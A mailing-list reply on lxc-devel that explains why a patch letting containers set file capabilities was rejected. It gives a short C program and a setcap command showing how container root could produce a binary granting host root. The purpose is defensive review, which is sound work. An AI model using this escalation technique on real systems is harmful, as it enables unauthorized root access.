On Wed, Feb 26, 2014 at 08:48:37AM -0600, Serge Hallyn wrote: > Quoting Stephan Sachse (ste.sac...@gmail.com): > > for me there is no valid reason why a container is not allowed to set > > file capabilities. > > > > and here is the patch (send to Eric W. Biederman <ebied...@xmission.com>) > > > > works for me > > Nak, Nak, three times nak :) > > But if you do as I suggested in the previous email, that would be > terrific.
In case the reason for the above triple nak isn't obvious, here's a
quick example of what I'd be able to do with that patch :)
Assume I write a piece of software, test.c in my container:
"""
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char** argv) {
if (setgid(0) < 0)
printf("Failed to setgid: %s\n", strerror(errno));
if (setuid(0) < 0)
printf("Failed to setuid: %s\n", strerror(errno));
if (initgroups("root", 0) < 0)
printf("Failed to initgroups: %s\n", strerror(errno));
if (execl("/usr/bin/id", "/usr/bin/id", NULL) < 0)
printf("Failed to execl: %s\n", strerror(errno));
return 1;
}
"""
Running this as a user will print 3 errors, then show the result of the
id command.
Now with the proposed patch, I could, still in that container do:
sudo setcap cap_setgid,cap_setuid=ep test
After that, from outside the container, I can simply run that same
binary and get:
stgraber@castiana:~$ ./test
uid=0(root) gid=0(root) groups=0(root)
So yeah, letting anyone write to trusted.* because they are uid 0 in a
userns is a very very bad idea.
--
Stéphane Graber
Ubuntu developer
http://www.ubuntu.com
signature.asc
Description: Digital signature
_______________________________________________ lxc-devel mailing list lxc-devel@lists.linuxcontainers.org http://lists.linuxcontainers.org/listinfo/lxc-devel
